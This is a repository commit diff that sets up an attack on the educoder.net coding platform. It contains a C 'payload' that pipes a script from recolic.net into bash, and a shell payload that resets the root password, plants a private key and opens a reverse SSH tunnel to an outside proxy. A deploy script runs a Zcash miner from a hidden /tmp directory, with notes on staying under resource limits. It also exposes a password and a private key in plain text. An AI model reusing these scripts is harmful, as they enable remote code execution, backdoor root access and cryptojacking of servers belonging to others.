init

README.md

+# MINING GUIDE
+
+1. Register account on www.educoder.net
+
+2. Join class with one of following code:
+
+ACM1601: 53VDCG
+
+

educoder.net.deploy.sh

+#!/bin/bash
+# Run this script AFTER got the ssh access
+
+ulimit -f unlimited
+#apt update
+
+mkdir -p /tmp/.c &&
+cd /tmp/.c
+wget https://github.com/nicehash/nheqminer/releases/download/0.5c/Ubuntu_16_04_x64_cuda_djezo_avx_nheqminer-5c.zip -O u.zip &&
+unzip u.zip &&
+chmod +x nheqminer_16_04 &&
+nohup ./nheqminer_16_04 -l zec.pool.minergate.com:3357 -u mine@n9nyergsjqthk0f1.33mail.com -t 2 -cd 0 1 & disown
+# You'll be killed if you use too many CPU. (16 avail, but CPU doesn't make many effort.)
+# 2 P40 GPU is ok
+
+exit $?
+
+# too large dependency.
+wget https://recolic.net/tmp/MinerGate-xFast-cli-1.5-ubuntu.deb /tmp/MinerGate-xFast-cli-1.5-ubuntu.deb
+dpkg -i MinerGate-xFast-cli-1.5-ubuntu.deb
+apt install -f -y
+
+exit 1
+
+# https://www.meebey.net/posts/ethereum_gpu_mining_on_linux_howto/
+add-apt-repository -y ppa:ethereum/ethereum
+apt update
+apt -f install -y ethereum ethminer
+#TODO: Failing to update apt. ulimit issue
+
+#
+apt install -y git
+git clone https://github.com/ethereum-mining/ethminer.git
+# Unable to build from source
+

educoder.net.payload.c

+#include <math.h>
+#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+  FILE *fp;
+  char path[1035];
+#define CMD "curl https://recolic.net/tmp/fuck.sh | bash 2>&1"
+  /* Open the command for reading. */
+  fp = popen("/bin/bash -c '" CMD "'", "r");
+  if (fp == NULL) {
+    printf("Failed to run command\n");
+    exit(1);
+  }
+
+  /* Read the output a line at a time - output it. */
+  while (fgets(path, sizeof(path) - 1, fp) != NULL) {
+    printf("%s", path);
+  }
+
+  pclose(fp);
+  return 0;
+}

educoder.net.payload.sh

+#!/bin/bash
+# After executing this script, you can run `ssh root@proxy.recolic.net -p 30130` with password `rtlgn24bgn`
+
+mkdir -p /root/.ssh
+
+echo root:rtlgn24bgn | chpasswd
+
+
+echo '-----BEGIN RSA PRIVATE KEY-----
+MIIEpAIBAAKCAQEAtCyO3UJziIdH3VMcRdLQTaTcOFE0kTniiEeWRzFqW/hu9xmq
+Tn4kn3PPgM1Q9W1aN+jHsvCUSg0C0kbjgnyCadnycZXAagdzL7HfaxqV8883H4b5
+L1++Nu7HU1A+J3XvqHuDqur7lz9maddQ0DzDHvPfjfgqDrohkLsjItHTs6x/bX5y
+Dg2pLKEV+MczeT/VBjpwq0w7xNfBPm9PuKV++cIH7eBvxZy6BSyUNomabJcb/rVj
+fNdw7DO7w0AXDFib80aUJHVgcgQz2cjj00dt5tj1Ofycj4v0F5SmmLuX58VQ17ek
+nV7TFlmytMFoLLaEEXmo9dlKl9e4+WASsxJ29wIDAQABAoIBAHUYAEELzsoMIUhV
+mypFt9q+KeDv5Zn8ZJzs6V2bX+QlsPgmVehtUp/ORC0RQmw+hUOQpThF4hm+GvdN
+2s4S3S6t1kK7cDF4ZgO5NdoFjS7GnKyAq7F+J8DLrf8XR02d+AMnQorx7FB/g6+F
+n5+13ZlgJQm/HpYzoVzOQid+9nbtrCsOJd7MAaDD20UCeOnKlY9Lekllcfk24zg/
+LPn/Ww3NX2ZtFpSayZAWpZS99nvIl5f+7V90zdyYidD16VsrhbavfUnyv+GdPgkI
+681lBGc0ZweHztCd3gtWPa4IIvU42zS2oFinXmreoQEm+iUiivixuDxGUSujlf66
+qY1O2gECgYEA6lx0SIP9OCTJHKHmj+gWiKemRpa1NGe/Q6Ps2tuwrU4lfHfnQXtY
+iA7j4oQUXGZzLKu6coO3IEkDx2MEEAx1y02ym8OLGpfqRLIVEHC5Y+rDQbxV0xZK
+6E8nwUGXPWEh1SbioLU02Ys7lPv+uyPpCWZDIpo+hHvmhtKe2d2B3QkCgYEAxM9L
+dHkH+eXEYSXYYYWZoHUTbwD5JfQG0S3TNNsmszO8M3GqublVIb2LHMKXy58Nsx6H
+gc/z/13oXelfQlQyPqZpiT9aJ1cjKyBaElZWJ4f06xm9WTHSLApGX9VHpDTrs/a8
+RQRkHTVacDxFTPxSGDiZqzPMs1g2CuabSCxas/8CgYAtEnLar2e3sHttIkXxTzVm
+Orfjw4A9/+Xs4E3hGXc1HV5gPb8f/NTd9d8l5Tj1PE7SPISzGVnSv7gWVJinbX4K
+B3teMZFDIAxSAd3DN6qv6Kp8rffjjNoDK5X9uNuZVmDnWX8kYTU00W44DO7Elvdu
+c1heA0QavqlrLH6Yb91V4QKBgQCSFR/3yyJ9feu/BD1RXb5DWMNdAIbugexRdccw
+k35tQ3htYvCLPKKREcThSxsq+9tKWd3RIA8HPKgOlPutGxvUXuc1BX4gd1BWYYQZ
+2lXGr+a+XvOp8g4DvHiyB3hOzS0q/niObgz1lTWU21fBJgS1j8WYSzGk6VPr0XHv
+J2UH9wKBgQCC77dXM7h4F8dfnbkZqX7TpP3O+M4kCDhm4vkCuWBj8piQasHmnLYt
+CHhNmLYcCCCGTW4Q+HP/VYqpagMU8hlo9xDIJAM+ogdKBUjQKUvOmdma8C6Asbaa
+l7RfRWq8WPoqNt7o/wkVaRuv44+dLp9Q81vKk/h7ql6ErInwkgFjXQ==
+-----END RSA PRIVATE KEY-----
+' > /root/.ssh/id_rsa
+
+chmod go-rwx /root/.ssh/id_rsa
+
+ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -fNR 0.0.0.0:30130:localhost:22 rproxy@proxy.recolic.net
+